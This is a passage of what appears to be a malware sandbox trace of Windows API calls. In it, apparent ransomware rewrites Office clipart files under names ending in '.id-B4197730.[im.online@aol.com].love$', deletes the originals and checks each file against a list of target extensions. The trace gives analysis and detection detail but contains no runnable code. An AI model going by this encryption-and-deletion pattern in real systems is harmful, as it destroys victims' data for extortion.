nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.219] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.219] SetEndOfFile (hFile=0x388) returned 1 [0240.219] CloseHandle (hObject=0x388) returned 1 [0240.219] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.219] SetEndOfFile (hFile=0x460) returned 1 [0240.225] CloseHandle (hObject=0x460) returned 1 [0240.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0240.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.227] lstrlenW (lpString=".doc") returned 4 [0240.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.227] lstrlenW (lpString=".docx") returned 5 [0240.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.227] lstrlenW (lpString=".pdf") returned 4 [0240.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.227] lstrlenW (lpString=".xls") returned 4 [0240.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.227] lstrlenW (lpString=".xlsx") returned 5 [0240.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.227] lstrlenW (lpString=".ppt") returned 4 [0240.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.227] lstrlenW (lpString=".zip") returned 4 [0240.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.227] lstrlenW (lpString=".rar") returned 4 [0240.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.227] lstrlenW (lpString=".bz2") returned 4 [0240.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.227] lstrlenW (lpString=".7z") returned 3 [0240.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString=".dbf") returned 4 [0240.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString=".1cd") returned 4 [0240.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString=".jpg") returned 4 [0240.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString=".doc") returned 4 [0240.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString=".docx") returned 5 [0240.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.228] lstrlenW (lpString=".pdf") returned 4 [0240.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString=".xls") returned 4 [0240.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.228] lstrlenW (lpString=".xlsx") returned 5 [0240.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.228] lstrlenW (lpString=".ppt") returned 4 [0240.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.228] lstrlenW (lpString=".zip") returned 4 [0240.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.228] lstrlenW (lpString=".rar") returned 4 [0240.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.229] lstrlenW (lpString=".bz2") returned 4 [0240.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.229] lstrlenW (lpString=".7z") returned 3 [0240.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.229] lstrlenW (lpString=".dbf") returned 4 [0240.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.229] lstrlenW (lpString=".1cd") returned 4 [0240.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0240.229] lstrlenW (lpString=".jpg") returned 4 [0240.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.229] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.229] lstrlenW (lpString="BS01638_.WMF") returned 12 [0240.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0240.389] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10538) returned 1 [0240.389] CloseHandle (hObject=0x4e0) returned 1 [0240.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0240.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0240.390] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.390] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.391] GetLastError () returned 0x0 [0240.391] ReadFile (in: hFile=0x4e0, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x292a, lpOverlapped=0x0) returned 1 [0240.471] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2930, lpOverlapped=0x0) returned 1 [0240.473] ReadFile (in: hFile=0x4e0, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.473] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.473] SetEndOfFile (hFile=0x534) returned 1 [0240.473] CloseHandle (hObject=0x534) returned 1 [0240.473] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.473] SetEndOfFile (hFile=0x4e0) returned 1 [0240.489] CloseHandle (hObject=0x4e0) returned 1 [0240.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0240.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.491] lstrlenW (lpString=".doc") returned 4 [0240.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.491] lstrlenW (lpString=".docx") returned 5 [0240.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.491] lstrlenW (lpString=".pdf") returned 4 [0240.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.491] lstrlenW (lpString=".xls") returned 4 [0240.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.491] lstrlenW (lpString=".xlsx") returned 5 [0240.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.491] lstrlenW (lpString=".ppt") returned 4 [0240.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.491] lstrlenW (lpString=".zip") returned 4 [0240.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.491] lstrlenW (lpString=".rar") returned 4 [0240.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString=".bz2") returned 4 [0240.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString=".7z") returned 3 [0240.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.492] lstrlenW (lpString=".dbf") returned 4 [0240.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.492] lstrlenW (lpString=".1cd") returned 4 [0240.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.492] lstrlenW (lpString=".jpg") returned 4 [0240.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.492] lstrlenW (lpString=".doc") returned 4 [0240.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString=".docx") returned 5 [0240.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.492] lstrlenW (lpString=".pdf") returned 4 [0240.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.492] lstrlenW (lpString=".xls") returned 4 [0240.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.492] lstrlenW (lpString=".xlsx") returned 5 [0240.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.492] lstrlenW (lpString=".ppt") returned 4 [0240.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.493] lstrlenW (lpString=".zip") returned 4 [0240.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.493] lstrlenW (lpString=".rar") returned 4 [0240.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.493] lstrlenW (lpString=".bz2") returned 4 [0240.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.493] lstrlenW (lpString=".7z") returned 3 [0240.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.493] lstrlenW (lpString=".dbf") returned 4 [0240.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.493] lstrlenW (lpString=".1cd") returned 4 [0240.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0240.493] lstrlenW (lpString=".jpg") returned 4 [0240.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.493] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.493] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0240.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.836] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2422) returned 1 [0240.836] CloseHandle (hObject=0x44c) returned 1 [0240.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0241.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0241.347] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.347] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0241.347] GetLastError () returned 0x0 [0241.348] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x976, lpOverlapped=0x0) returned 1 [0241.885] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x980, lpOverlapped=0x0) returned 1 [0241.887] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.887] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.887] SetEndOfFile (hFile=0x540) returned 1 [0241.888] CloseHandle (hObject=0x540) returned 1 [0241.888] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.888] SetEndOfFile (hFile=0x4e4) returned 1 [0241.891] CloseHandle (hObject=0x4e4) returned 1 [0241.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0241.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.892] lstrlenW (lpString=".doc") returned 4 [0241.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.892] lstrlenW (lpString=".docx") returned 5 [0241.892] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0241.892] lstrlenW (lpString=".pdf") returned 4 [0241.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.892] lstrlenW (lpString=".xls") returned 4 [0241.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.892] lstrlenW (lpString=".xlsx") returned 5 [0241.892] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0241.892] lstrlenW (lpString=".ppt") returned 4 [0241.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.892] lstrlenW (lpString=".zip") returned 4 [0241.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.893] lstrlenW (lpString=".rar") returned 4 [0241.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString=".bz2") returned 4 [0241.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString=".7z") returned 3 [0241.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.893] lstrlenW (lpString=".dbf") returned 4 [0241.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.893] lstrlenW (lpString=".1cd") returned 4 [0241.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.893] lstrlenW (lpString=".jpg") returned 4 [0241.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.893] lstrlenW (lpString=".doc") returned 4 [0241.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString=".docx") returned 5 [0241.893] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0241.893] lstrlenW (lpString=".pdf") returned 4 [0241.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.893] lstrlenW (lpString=".xls") returned 4 [0241.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.893] lstrlenW (lpString=".xlsx") returned 5 [0241.893] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0241.894] lstrlenW (lpString=".ppt") returned 4 [0241.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.894] lstrlenW (lpString=".zip") returned 4 [0241.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.894] lstrlenW (lpString=".rar") returned 4 [0241.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.894] lstrlenW (lpString=".bz2") returned 4 [0241.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.894] lstrlenW (lpString=".7z") returned 3 [0241.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.894] lstrlenW (lpString=".dbf") returned 4 [0241.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.894] lstrlenW (lpString=".1cd") returned 4 [0241.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0241.894] lstrlenW (lpString=".jpg") returned 4 [0241.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.894] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.894] lstrlenW (lpString="DD00297_.WMF") returned 12 [0241.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.914] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=40030) returned 1 [0241.914] CloseHandle (hObject=0x388) returned 1 [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.916] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.916] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0241.917] GetLastError () returned 0x0 [0241.917] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0242.003] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x9c60, lpOverlapped=0x0) returned 1 [0242.005] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.005] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.006] SetEndOfFile 